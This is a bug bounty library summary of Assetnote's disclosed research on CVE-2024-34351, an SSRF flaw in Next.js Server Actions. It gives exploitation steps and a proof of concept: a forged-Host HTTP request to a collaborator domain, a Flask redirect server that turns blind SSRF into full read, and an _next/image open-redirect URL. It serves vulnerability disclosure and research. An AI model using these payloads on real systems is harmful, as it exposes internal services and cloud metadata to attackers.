# Digging for SSRF in NextJS apps

Next.js Server Actions redirect handler fetched relative redirects using the client-supplied Host header, enabling blind SSRF and full-read SSRF via a crafted redirect server.

- Payout: Research
- Severity: high
- Program: Vercel
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2024-34351
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-digging-for-ssrf-in-nextjs-apps
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:research sev:high tech:nextjs technique:chained technique:source-review vuln:ssrf

**Target:** Next.js _next/image endpoint and Server Actions redirect handler
**Root cause:** createRedirectRenderResult builds a fetch URL from the attacker-controlled Host header when a server action redirects to a relative path, then fetches it server-side.
**Steps:**
1. Identify a server action that redirects to a relative path (e.g. `redirect("/login")`) and capture its `Next-Action` ID.
2. Send `POST /x` with `Host: <collaborator>` and header `Next-Action: <id>`, body `{}`.
3. Observe server-side `HEAD /login` request to collaborator confirming blind SSRF.
4. For full read: host a server returning `Content-Type: text/x-component` on HEAD and a 302 to the internal target on GET.
5. Point Host at that server; Next.js follows redirect on GET and returns the internal response body.
**How found:** Source review of Next.js createRedirectRenderResult revealed the fetch URL was built from `req.headers['host']`; hypothesis that a forged Host header would redirect the server-side fetch, confirmed with a Collaborator ping.
**Exploitation:** Attacker sets Host header to an internal host or attacker server; Next.js performs HEAD then GET server-side and returns the fetched body, leaking internal responses (e.g. cloud metadata) when the attacker server satisfies the text/x-component preflight and redirects.
**Escalation:** Blind SSRF escalated to full-read SSRF by satisfying the RSC content-type preflight and using a 302 redirect to the real target.
**Insight:** When a framework fetches its own redirect target server-side, check whether the URL is built from the Host header; also note the HEAD-then-GET content-type gate can be bypassed by an attacker-controlled preflight server that redirects on GET.

## Proof of concept (copied exactly from the original report)

**Minimal SSRF PoC with forged Host header**

```
POST /x HTTP/1.1
Host: kwk4ufof0q3hdki5e46mpchscjia69uy.oastify.com
Content-Length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
Connection: close

{}
```

**Flask server to turn blind SSRF into full read**

```
from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('https://example.com')
```

**Open redirect SSRF via _next/image**

```
https://example.com/_next/image?url=https://third-party.com/logout%3furl%3Dhttps%3A%2F%2Flocalhost%3A2345%2Fapi%2Fv1%2Fx&w=256&q=75
```

